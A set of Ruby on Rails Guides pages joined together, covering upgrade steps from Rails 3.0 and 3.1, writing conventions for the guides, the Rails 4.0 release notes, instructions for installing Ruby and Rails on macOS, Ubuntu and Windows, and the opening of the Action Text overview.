### [15.3. config/environments/test.rb](#upgrading-from-rails-3-1-to-rails-3-2-config-environments-test-rb)

The `mass_assignment_sanitizer` configuration setting should also be added to `config/environments/test.rb`:

```
# Raise exception on mass assignment protection for Active Record models
config.active_record.mass_assignment_sanitizer = :strict
```

### [15.4. vendor/plugins](#upgrading-from-rails-3-1-to-rails-3-2-vendor-plugins)

Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.

### [15.5. Active Record](#upgrading-from-rails-3-1-to-rails-3-2-active-record)

Option `:dependent => :restrict` has been removed from `belongs_to`. If you want to prevent deleting the object if there are any associated objects, you can set `:dependent => :destroy` and return `false` after checking for existence of association from any of the associated object's destroy callbacks.

## [16. Upgrading from Rails 3.0 to Rails 3.1](#upgrading-from-rails-3-0-to-rails-3-1)

If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.

The following changes are meant for upgrading your application to Rails 3.1.12, the last 3.1.x version of Rails.

### [16.1. Gemfile](#gemfile)

Make the following changes to your `Gemfile`.

```
gem "rails", "3.1.12"
gem "mysql2"

# Needed for the new asset pipeline
group :assets do
  gem "sass-rails",   "~> 3.1.7"
  gem "coffee-rails", "~> 3.1.1"
  gem "uglifier",     ">= 1.0.3"
end

# jQuery is the default JavaScript library in Rails 3.1
gem "jquery-rails"
```

### [16.2. config/application.rb](#config-application-rb)

The asset pipeline requires the following additions:

```
config.assets.enabled = true
config.assets.version = "1.0"
```

If your application is using an "/assets" route for a resource you may want to change the prefix used for assets to avoid conflicts:

```
# Defaults to '/assets'
config.assets.prefix = "/asset-files"
```

### [16.3. config/environments/development.rb](#upgrading-from-rails-3-0-to-rails-3-1-config-environments-development-rb)

Remove the RJS setting `config.action_view.debug_rjs = true`.

Add these settings if you enable the asset pipeline:

```
# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true
```

### [16.4. config/environments/production.rb](#config-environments-production-rb)

Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.

```
# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( admin.js admin.css )

# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
```

### [16.5. config/environments/test.rb](#upgrading-from-rails-3-0-to-rails-3-1-config-environments-test-rb)

You can help test performance with these additions to your test environment:

```
# Configure static asset server for tests with Cache-Control for performance
config.public_file_server.enabled = true
config.public_file_server.headers = {
  "Cache-Control" => "public, max-age=3600"
}
```

### [16.6. config/initializers/wrap\_parameters.rb](#config-initializers-wrap-parameters-rb)

Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

```
# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
  wrap_parameters format: [:json]
end

# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
  self.include_root_in_json = false
end
```

### [16.7. config/initializers/session\_store.rb](#config-initializers-session-store-rb)

You need to change your session key to something new, or remove all sessions:

```
# in config/initializers/session_store.rb
AppName::Application.config.session_store :cookie_store, key: "SOMETHINGNEW"
```

or

```
$ bin/rake db:sessions:clear
```

### [16.8. Remove :cache and :concat options in asset helpers references in views](#remove-cache-and-concat-options-in-asset-helpers-references-in-views)

* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/ruby_on_rails_guides_guidelines.html
----

***

## [1. Markdown](#markdown)

Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](https://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](https://daringfireball.net/projects/markdown/basics).

## [2. Prologue](#prologue)

Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).

## [3. Headings](#headings)

The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.

```
Guide Title
===========

Section
-------

### Sub Section
```

When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":

```
#### Assertions and Testing Jobs inside Components
#### Middleware Stack is an Array
#### When are Objects Saved?
```

Use the same inline formatting as regular text:

```
##### The `:content_type` Option
```

## [4. Notes, Tips and Warnings](#notes-tips-and-warnings)

Sometimes a paragraph deserves a little more attention. For example, to clarify a common misunderstanding or warn about something that could break an application.

To highlight a paragraph, prefix it with `NOTE:`, `TIP:` or `WARNING:`:

```
NOTE: Use `NOTE`, `TIP` or `WARNING` to highlight a paragraph.
```

This will wrap the paragraph in a special container resulting in the following:

Use `NOTE`, `TIP` or `WARNING` to highlight a paragraph.

### [4.1. NOTE](#note)

Use `NOTE` to highlight something in relation to the subject and the context. Reading it will help your understanding of that subject or context, or clarify an important item.

For example, a section describing locale files could have the following `NOTE`:

You need to restart the server when you add new locale files.

### [4.2. TIP](#tip)

A `TIP` is just an additional bit of information regarding the subject, but not necessarily relevant to the understanding. It can point you to another guide or website:

To learn more about routing, see [Rails Routing from the Outside In](routing.html).

Or show a helpful command to see more options to dig deeper:

For further help with generators, run `bin/rails generate --help`.

### [4.3. WARNING](#warning)

Use `WARNING` for things to avoid that could break the application:

Refrain from using methods like `update`, `save`, or any other methods that cause side effects on the object within your callback methods.

Or warn about things that could compromise your application's security.

Keep your master key safe. Do not commit your master key.

## [5. Links](#links)

Use descriptive links and avoid "here" and "more" links:

```
# BAD
See the Internationalization (I18n) guide for [more
details](i18n.html).

# GOOD
See the [Internationalization (I18n)](i18n.html) guide for
more details.
```

Use descriptive links for internal links as well:

```
# BAD
We will cover this [below](#multiple-callback-conditions).

# GOOD
We will cover this in the [multiple callback conditions
section](#multiple-callback-conditions) shown below.
```

### [5.1. Linking to the API](#linking-to-the-api)

Links to the API (`api.rubyonrails.org`) are processed by the guides generator in the following manner:

Links that include a release tag are left untouched. For example

```
https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html
```

is not modified.

Please use these in release notes, since they should point to the corresponding version no matter the target being generated.

If the link does not include a release tag and edge guides are being generated, the domain is replaced by `edgeapi.rubyonrails.org`. For example,

```
https://api.rubyonrails.org/classes/ActionDispatch/Response.html
```

becomes

```
https://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html
```

If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link

```
https://api.rubyonrails.org/classes/ActionDispatch/Response.html
```

becomes

```
https://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html
```

Please don't link to `edgeapi.rubyonrails.org` manually.

## [6. Column Wrapping](#column-wrapping)

Do not reformat old guides just to wrap columns. But new sections and guides should wrap at 80 columns.

## [7. API Documentation Guidelines](#api-documentation-guidelines)

The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:

* [Wording](api_documentation_guidelines.html#wording)
* [English](api_documentation_guidelines.html#american-english)
* [Example Code](api_documentation_guidelines.html#example-code)
* [Filenames](api_documentation_guidelines.html#file-names)
* [Fonts](api_documentation_guidelines.html#fonts)

## [8. HTML Guides](#html-guides)

Before generating the guides, make sure that you have the latest version of Bundler installed on your system. To install the latest version of Bundler, run `gem install bundler`.

If you already have Bundler installed, you can update with `gem update bundler`.

### [8.1. Generation](#html-guides-generation)

To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:

```
$ bundle exec rake guides:generate
```

or

```
$ bundle exec rake guides:generate:html
```

Resulting HTML files can be found in the `./output` directory.

To process `my_guide.md` and nothing else use the `ONLY` environment variable:

```
$ touch my_guide.md
$ bundle exec rake guides:generate ONLY=my_guide
```

By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice.

To force processing all the guides, pass `ALL=1`.

If you want to generate guides in a language other than English, you can keep them in a separate directory under `source` (e.g. `source/es`) and use the `GUIDES_LANGUAGE` environment variable:

```
$ bundle exec rake guides:generate GUIDES_LANGUAGE=es
```

If you want to see all the environment variables you can use to configure the generation script just run:

```
$ rake
```

### [8.2. Validation](#validation)

Please validate the generated HTML with:

```
$ bundle exec rake guides:validate
```

Particularly, titles get an ID generated from their content and this often leads to duplicates.

## [9. Kindle Guides](#kindle-guides)

### [9.1. Generation](#kindle-guides-generation)

To generate guides for the Kindle, use the following rake task:

```
$ bundle exec rake guides:generate:kindle
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/4_0_release_notes.html
----

***

## [1. Upgrading to Rails 4.0](#upgrading-to-rails-4-0)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.

## [2. Creating a Rails 4.0 application](#creating-a-rails-4-0-application)

```
# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp
```

### [2.1. Vendoring Gems](#vendoring-gems)

Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: [Bundler homepage](https://bundler.io)

### [2.2. Living on the Edge](#living-on-the-edge)

`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:

```
$ rails new myapp --edge
```

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:

```
$ ruby /path/to/rails/railties/bin/rails new myapp --dev
```

## [3. Major Features](#major-features)

[](https://guides.rubyonrails.org/images/4_0_release_notes/rails4_features.png)

### [3.1. Upgrade](#upgrade)

* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
* **[New deprecation policy](https://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a `Gemfile` to manage installed gems.

### [3.2. ActionPack](#actionpack)

* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow permitted parameters to update model objects (`params.permit(:title, :text)`).
* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation.
* **[Russian doll caching](https://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
* **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
* **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
* **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.

### [3.3. General](#general)

* **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`)
* **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables.
* **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
* **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important.
* **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store.
* **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers.
* **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration.

Check that the gems you are using are threadsafe.

* **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.

### [3.4. Security](#security)

* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).

## [4. Extraction of features to gems](#extraction-of-features-to-gems)

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back.

* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders))
* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia-blog-blog.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
* Sprockets ([GitHub](https://github.com/rails/sprockets-rails))
* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876))

## [5. Documentation](#documentation)

* Guides are rewritten in GitHub Flavored Markdown.

* Guides have a responsive design.

## [6. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.

### [6.1. Notable changes](#railties-notable-changes)

* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))

* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.

* Threadsafe on by default

* Ability to use a custom builder by passing `--builder` (or `-b`) to `rails new` has been removed. Consider using application templates instead. ([Pull Request](https://github.com/rails/rails/pull/9401))

### [6.2. Deprecations](#railties-deprecations)

* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded.

* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Notable changes](#action-mailer-notable-changes)

### [7.2. Deprecations](#action-mailer-deprecations)

## [8. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.

### [8.1. Notable changes](#active-model-notable-changes)

* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box.

### [8.2. Deprecations](#active-model-deprecations)

## [9. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.

### [9.1. Notable changes](#active-support-notable-changes)

* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.

* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.

* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.

* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.

* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:

  ```
  # ActiveSupport 3.x
  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass

  # ActiveSupport 4
  "asdf".to_date # => ArgumentError: invalid date
  "333".to_date # => Fri, 29 Nov 2013
  ```

### [9.2. Deprecations](#active-support-deprecations)

* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead.

* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.

* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).

* `ActiveSupport::BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.

* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`

## [10. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.

### [10.1. Notable changes](#action-pack-notable-changes)

* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.

### [10.2. Deprecations](#action-pack-deprecations)

## [11. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.

### [11.1. Notable changes](#active-record-notable-changes)

* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.

  * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given. The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible). The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
  * New method `reversible` makes it possible to specify code to be run when migrating up or down. See the [Guide on Migration](https://github.com/rails/rails/blob/main/guides/source/active_record_migrations.md#using-reversible)
  * New method `revert` will revert a whole migration or the given block. If migrating down, the given migration / block is run normally. See the [Guide on Migration](https://github.com/rails/rails/blob/main/guides/source/active_record_migrations.md#reverting-previous-migrations)

* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

* Add `Relation#load` to explicitly load the record and return `self`.

* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.

* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.

* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:

  ```
  store :settings, accessors: [ :color, :homepage ], coder: JSON
  ```

* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.

* Remove IdentityMap.

* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.

* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.

* Added `create_join_table` migration helper to create HABTM join tables.

* Allows PostgreSQL hstore records to be created.

### [11.2. Deprecations](#active-record-deprecations)

* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's how you can rewrite the code:

  * `find_all_by_...` can be rewritten using `where(...)`.
  * `find_last_by_...` can be rewritten using `where(...).last`.
  * `scoped_by_...` can be rewritten using `where(...)`.
  * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
  * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
  * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.

## [12. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/install_ruby_on_rails.html
----

***

## [1. Choose Your Operating System](#choose-your-operating-system)

Follow the section for the operating system you use:

* [macOS](#install-ruby-on-macos)
* [Ubuntu](#install-ruby-on-ubuntu)
* [Windows](#install-ruby-on-windows)

Any commands prefaced with a dollar sign `$` should be run in the terminal.

### [1.1. Install Ruby on macOS](#install-ruby-on-macos)

You'll need macOS Catalina 10.15 or newer to follow these instructions.

For macOS, you'll need Xcode Command Line Tools and Homebrew to install dependencies needed to compile Ruby.

Open Terminal and run the following commands:

```
# Install Xcode Command Line Tools
$ xcode-select --install

# Install Homebrew and dependencies
$ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
$ echo 'export PATH="/opt/homebrew/bin:$PATH"' >> ~/.zshrc
$ source ~/.zshrc
$ brew install openssl@3 libyaml gmp rust

# Install Mise version manager
$ curl https://mise.run | sh
$ echo 'eval "$(~/.local/bin/mise activate)"' >> ~/.zshrc
$ source ~/.zshrc

# Install Ruby globally with Mise
$ mise use -g ruby@3
```

### [1.2. Install Ruby on Ubuntu](#install-ruby-on-ubuntu)

You'll need Ubuntu Jammy 22.04 or newer to follow these instructions.

Open Terminal and run the following commands:

```
# Install dependencies with apt
$ sudo apt update
$ sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git

# Install Mise version manager
$ curl https://mise.run | sh
$ echo 'eval "$(~/.local/bin/mise activate)"' >> ~/.bashrc
$ source ~/.bashrc

# Install Ruby globally with Mise
$ mise use -g ruby@3
```

### [1.3. Install Ruby on Windows](#install-ruby-on-windows)

The Windows Subsystem for Linux (WSL) will provide the best experience for Ruby on Rails development on Windows. It runs Ubuntu inside of Windows which allows you to work in an environment that is close to what your servers will run in production.

You will need Windows 11 or Windows 10 version 2004 and higher (Build 19041 and higher).

Open PowerShell or Windows Command Prompt and run:

```
$ wsl --install --distribution Ubuntu-24.04
```

You may need to reboot during the installation process.

Once installed, you can open Ubuntu from the Start menu. Enter a username and password for your Ubuntu user when prompted.

Then run the following commands:

```
# Install dependencies with apt
$ sudo apt update
$ sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev

# Install Mise version manager
$ curl https://mise.run | sh
$ echo 'eval "$(~/.local/bin/mise activate bash)"' >> ~/.bashrc
$ source ~/.bashrc

# Install Ruby globally with Mise
$ mise use -g ruby@3
```

## [2. Verifying Your Ruby Install](#verifying-your-ruby-install)

Once Ruby is installed, you can verify it works by running:

```
$ ruby --version
ruby 3.3.6
```

## [3. Installing Rails](#installing-rails)

A "gem" in Ruby is a self-contained package of a library or Ruby program. We can use Ruby's `gem` command to install the latest version of Rails and its dependencies from [RubyGems.org](https://rubygems.org).

Run the following command to install the latest Rails and make it available in your terminal:

```
$ gem install rails
```

To verify that Rails is installed correctly, run the following and you should see a version number printed out:

```
$ rails --version
Rails 8.0.0
```

If the `rails` command is not found, try restarting your terminal.

You're ready to [Get Started with Rails](getting_started.html)!

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_text_overview.html
----

***

## [1. What is Action Text?](#what-is-action-text-questionmark)

Action Text facilitates the handling and display of rich text content. Rich text content is text that includes formatting elements such as bold, italics, colors, and hyperlinks, providing a visually enhanced and structured presentation beyond plain text. It allows us to create rich text content, store it in a table, then attach it to any of our models.

Action Text includes a [WYSIWYG](https://en.wikipedia.org/wiki/WYSIWYG) editor called Trix, which is used in web applications to provide users with a user-friendly interface for creating and editing rich text content. It handles everything from providing enriching capabilities like the formatting of text, adding links or quotes, embedding images, and much much more. See [the Trix editor website](https://trix-editor.org/) for examples.

The rich text content generated by the Trix editor is saved in its own RichText model that can be associated with any existing Active Record model in the application. In addition, any embedded images (or other attachments) can be automatically stored using Active Storage (which is added as a dependency) and associated with that RichText model. When it's time to render content, Action Text processes the content by sanitizing it first so that it's safe to embed directly into the page's HTML.

Most WYSIWYG editors are wrappers around HTML’s `contenteditable` and `execCommand` APIs. These APIs were designed by Microsoft to support live editing of web pages in Internet Explorer 5.5. They were eventually reverse-engineered and copied by other browsers. Consequently, these APIs were never fully specified or documented, and because WYSIWYG HTML editors are enormous in scope, each browser's implementation has its own set of bugs and quirks. Hence, JavaScript developers are often left to resolve the inconsistencies.\
\
Trix sidesteps these inconsistencies by treating `contenteditable` as an I/O device: when input makes its way to the editor, Trix converts that input into an editing operation on its internal document model, then re-renders that document back into the editor. This gives Trix complete control over what happens after every keystroke and avoids the need to use `execCommand` and the inconsistencies that come along with it.

## [2. Installation](#installation)

To install Action Text and start working with rich text content, run:

```
$ bin/rails action_text:install
```

It will do the following:

* Installs the JavaScript packages for `trix` and `@rails/actiontext` and adds them to the `application.js`.
* Adds the `image_processing` gem for analysis and transformations of the embedded images and other attachments with Active Storage. Please refer to the [Active Storage Overview](active_storage_overview.html) guide for more information about it.
* Adds migrations to create the following tables that store rich text content and attachments: `action_text_rich_texts`, `active_storage_blobs`, `active_storage_attachments`, `active_storage_variant_records`.
* Creates `actiontext.css` which includes all Trix styles and overrides.
* Adds the default view partials `_content.html` and `_blob.html` to render Action Text content and Active Storage attachment (aka blob) respectively.

Thereafter, executing the migrations will add the new `action_text_*` and `active_storage_*` tables to your app:

```
$ bin/rails db:migrate
```

When the Action Text installation creates the `action_text_rich_texts` table, it uses a polymorphic relationship so that multiple models can add rich text attributes. This is done through the `record_type` and `record_id` columns, which store the ClassName of the model, and ID of the record, respectively.

With polymorphic associations, a model can belong to more than one other model, on a single association. Read more about it in the [Active Record Associations guide](https://guides.rubyonrails.org/association_basics.html#polymorphic-associations).

Hence, if your models containing Action Text content use UUID values as identifiers, then all models that use Action Text attributes will need to use UUID values for their unique identifiers. The generated migration for Action Text will also need to be updated to specify `type: :uuid` for the record references line.

```
t.references :record, null: false, polymorphic: true, index: false, type: :uuid
```

## [3. Creating Rich Text Content](#creating-rich-text-content)

This section explores some of the configurations you'll need to follow to create rich text.

The RichText record holds the content produced by the Trix editor in a serialized `body` attribute. It also holds all the references to the embedded files, which are stored using Active Storage. This record is then associated with the Active Record model which desires to have rich text content. The association is made by placing the `has_rich_text` class method in the model that you’d like to add rich text to.

```
# app/models/article.rb
class Article < ApplicationRecord
  has_rich_text :content
end
```

